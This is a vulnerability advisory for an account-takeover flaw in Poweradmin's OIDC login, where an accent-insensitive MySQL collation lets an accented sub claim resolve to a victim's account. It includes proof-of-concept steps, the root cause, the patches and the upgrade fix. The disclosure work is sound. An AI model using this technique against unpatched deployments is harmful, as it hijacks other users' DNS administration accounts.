high · 8.1Jul 24, 2026

Poweradmin OIDC sub Collation Bypass Account Takeover

Rohit Hatagale
AI Security Researcher, SecureLayer7

An attacker who controls an OIDC account can hijack a victim's Poweradmin session by registering a subject identifier that differs only by an accented character, tricking MySQL's case-insensitive…

Packagepoweradmin/poweradmin
Ecosystemcomposer
Affected>= 4.1.0, < 4.2.5
Fixed in4.2.5
Poweradmin OIDC sub Collation Bypass Account Takeover

The problem

Poweradmin maps OIDC identities to local users by storing and querying the OIDC sub claim in oidc_user_links.oidc_subject, a VARCHAR column that inherits the table's utf8mb4_unicode_ci collation. That collation is accent-insensitive, so MySQL considers victim-login and victím-login (U+00ED) equal.

When the victim has already linked their account, an attacker authenticates to the same OIDC provider using their own credentials but with an accent-variant sub. The SQL lookup returns the victim's user_id, and Poweradmin sets the attacker's session to that user.

No knowledge of the victim's password is required.

Proof of concept

A working proof-of-concept for this issue in poweradmin/poweradmin, with the exact payload below.

bash
# Step 1: victim logs in via OIDC once, creating the link row
# GET /oidc/login?provider=generic
# Authenticate with: username=victim-login, password=VictimPassword123!
# Poweradmin inserts:
#   oidc_user_links: oidc_subject='victim-login', provider_id='generic', user_id=2

# Step 2: attacker opens a separate browser session
# GET /oidc/login?provider=generic
# Authenticate with: username=victím-login, password=AttackerPassword123!
#   (í = U+00ED, accent variant of i)

# MySQL resolves the lookup:
#   SELECT user_id FROM oidc_user_links
#   WHERE oidc_subject = 'victím-login' AND provider_id = 'generic'
#   -- returns user_id=2 (victim) because utf8mb4_unicode_ci treats the rows as equal

# Poweradmin then sets:
#   $_SESSION['userid']        = 2           (victim's id)
#   $_SESSION['userlogin']     = 'victim-login'
#   $_SESSION['authenticated'] = true

# Confirmed PoC result:
# attacker_resolved_to_victim = true
# home_contains_victim_username = true
# home_contains_attacker_username = false

The root cause is CWE-287 (Improper Authentication) driven by a schema-level collation mismatch. MySQL utf8mb4_unicode_ci performs Unicode-aware comparison that ignores accent differences, so the WHERE oidc_subject = ? query in UserProvisioningService::findUserByOidcSubject() matches rows it should reject.

The patch (commits cbb78f40 and f814f9e2) migrates both oidc_subject and provider_id columns to utf8mb4_bin and adds BINARY casts to all subject lookup queries, forcing byte-for-byte comparison. A bundled SQL migration script applies the schema change on upgrade.

The fix

Upgrade to Poweradmin 4.2.5, 4.3.4, or 4.4.0 and run the matching SQL migration script from the sql/ directory. The migration alters oidc_user_links.oidc_subject and provider_id to COLLATE utf8mb4_bin. For deployments that cannot migrate the schema immediately, the patched application code also wraps lookups in BINARY casts as a defence-in-depth measure.

Reported by whale120 (@whale120_tw), DEVCORE Internship Program.

References: [1][2][3][4][5][6]

Related research